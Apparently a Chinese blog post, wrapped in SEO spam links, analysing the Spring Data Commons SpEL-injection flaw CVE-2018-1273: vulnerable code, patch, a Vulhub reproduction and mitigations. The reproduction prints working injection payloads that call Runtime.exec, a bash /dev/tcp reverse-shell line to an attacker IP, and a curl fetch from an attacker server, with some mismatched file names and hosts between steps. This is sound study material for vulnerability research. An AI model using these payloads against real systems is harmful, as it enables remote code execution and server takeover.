当前位置: 首页 > wzjs >正文

做室内效果图网站西安市seo排名按天优化

做室内效果图网站,西安市seo排名按天优化,陕西网页制作,wordpress又拍云漏洞概述 CVE-2018-1273 是 Spring Data Commons 中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Data Commons 1.13–1.13.10 和 2.0–2.0.5。攻击者通过构造包含恶意 SpEL表达式的 HTTP 请求参数,触发表达式注入&#x…

漏洞概述

CVE-2018-1273 是 Spring Data Commons 中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Data Commons 1.13–1.13.102.0–2.0.5。攻击者通过构造包含恶意 SpEL表达式的 HTTP 请求参数,触发表达式注入,最终在目标服务器上执行任意命令。漏洞的根源在于 Spring Data REST 对用户输入的参数名未进行安全过滤,直接作为 SpEL 表达式解析。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    当应用程序使用基于接口的投影(Projection)绑定请求参数时,Spring Data Commons 的 MapDataBinder 类会将用户输入的参数名直接转换为 SpEL 表达式。攻击者可通过在参数名中嵌入恶意表达式(如 T(java.lang.Runtime).exec("calc")),触发任意代码执行。

  • 上下文权限控制缺失
    代码中使用 StandardEvaluationContext 作为 SpEL 执行上下文,该上下文允许完全访问 Java 类和方法(包括反射操作),未对危险操作进行限制。

2. 源码分析
关键代码:MapDataBinder 类的 setPropertyValue 方法
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {// 1. 初始化 SpEL 上下文,绑定根对象为当前 MapStandardEvaluationContext context = new StandardEvaluationContext();context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));context.setRootObject(map); // 2. 解析用户输入的参数名作为 SpEL 表达式Expression expression = PARSER.parseExpression(propertyName);// 3. 执行表达式并设置值(漏洞触发点)expression.setValue(context, value);
}

漏洞触发链

  1. 参数名注入:攻击者提交形如 username[#this.getClass().forName("java.lang.Runtime").exec("calc")] 的请求参数。
  2. 表达式解析PARSER.parseExpression(propertyName) 将参数名解析为 SpEL 表达式。
  3. 代码执行expression.setValue(context, value) 执行表达式,触发 Runtime.exec() 方法。
关键问题点:
  • 输入信任问题propertyName 直接来自用户输入的参数名,未进行任何过滤。
  • 上下文权限过高StandardEvaluationContext 允许执行任意 Java 方法(如反射调用 java.lang.Runtime)。
  • 路径绑定机制:基于投影的绑定逻辑(PropertyTraversingMapAccessor)允许参数名包含复杂表达式。
3. 补丁分析

官方修复方案通过以下方式限制漏洞利用:

1. 替换执行上下文

StandardEvaluationContext 替换为 SimpleEvaluationContext,后者仅支持基础数据绑定操作,禁止访问危险类和方法。

// 修复后代码示例
SimpleEvaluationContext context = SimpleEvaluationContext.forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)).build();
2. 路径合法性校验

setPropertyValue 方法中增加对 propertyName 的校验逻辑,禁止非法的属性名格式(如包含 #T() 等 SpEL 关键字)。


漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8080/users,确认服务正常运行。

在这里插入图片描述

攻击步骤
1.使用bp抓取/users的包

在这里插入图片描述

2.上传恶意文件
  • 构造payload,替换POST内容并发送请求包
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/test")]=&password=&repeatedPassword=

在这里插入图片描述

  • 验证:进入靶机容器发现出现test文件
    在这里插入图片描述
3.反弹shell
  • 创建bash.sh文件*
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
192.168.1.102替换为自己攻击机ip
  • 在文件目录启动http服务
python -m http.server 6666

在这里插入图片描述

  • kali开启监听
    在这里插入图片描述

  • 替换POST内容并发包,请求bash.sh文件

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /Exploit.class http://192.168.43.93:8888/Exploit.class")]=&password=&repeatedPassword=
192.168.43.93:8888替换为自己的http服务

在这里插入图片描述

  • 再次替换POST内容并发包,执行bash.sh
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=
  • 反弹shell成功
    在这里插入图片描述

修复方案

1. 升级版本
  • Spring Data Commons 1.13.x 用户升级至 1.13.11
  • Spring Data Commons 2.0.x 用户升级至 2.0.6
2. 禁用危险特性

若非必要,关闭基于投影的参数绑定功能(通过配置 @ProjectedPayloadsignature 属性)。

3. 输入过滤

自定义参数名校验逻辑,禁止包含 #T()new 等 SpEL 关键字:

public class SafeParamValidator {private static final Pattern SPEL_PATTERN = Pattern.compile("[T#()]");public static boolean isValidParam(String paramName) {return !SPEL_PATTERN.matcher(paramName).find();}
}

总结

CVE-2018-1273 的根源在于 Spring Data Commons 对用户输入的直接信任和 SpEL 表达式的滥用。其修复方案通过限制表达式执行上下文和强化路径校验,有效降低了攻击面。开发者应始终遵循最小化信任原则,结合框架升级与自定义安全策略,防范类似漏洞。


参考链接

  1. Spring 官方安全公告 (CVE-2018-1273)
  2. 漏洞技术分析(FreeBuf)
  3. 补丁代码 Commit 记录
  4. SpEL 注入漏洞原理详解(知乎)
  5. CVE-2018-1273 复现环境(Vulhub)
  6. vulhub中Spring之Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
http://www.dtcms.com/wzjs/113676.html

相关文章:

  • saas电商建站系统百度搜索量最大的关键词
  • 电商网站开发成本广州知名网络推广公司
  • 淮阴区城乡建设管理局网站seo关键词如何布局
  • 网站制作公司下今日国际新闻大事
  • 高端网站搭建公司市场营销八大营销模式
  • 推广展示类网站有哪些seo优化网站的手段
  • 胖咯科技网站建设上海网络推广优化公司
  • 登陆网站空间的后台腾讯企点
  • 网店营销推广计划书seo搜索优化服务
  • 外贸网站建设服务平台怎么在百度做宣传广告
  • 事业单位网站建设费入什么科目天津网站建设优化
  • 做网站公司 陕西渭南seo关键词排优化软件
  • 怎么给网站做开场动画媒体营销平台
  • 做动态图网站违法吗厦门网站建设平台
  • 如何建设一个电商网站百度站长工具怎么查排名
  • b2b电子商务网站注册网络营销做得好的酒店
  • 温州网站搭建北京官方seo搜索引擎优化推荐
  • 贵阳网站设计全国互联网营销大赛官网
  • 网站制作说明书搜狗权重查询
  • 建设网站群的指导思想搜索引擎优化推广
  • 做网站找那些公司网络营销推广活动
  • mac做网站设计网站收录平台
  • b站推广网站友情链接seo
  • 南通网站建设制作公司网站免费推广的方法
  • 沈阳建设网站费用宣传推广方式有哪些
  • 商丘做手机做网站百度手机端推广
  • 网站上的视频深圳做网站的公司有哪些
  • 免费在线网站模板网站推广seo优化
  • 深圳网站建设ueapp推广30元一单平台
  • 中山品牌网站建设报价seo快速工具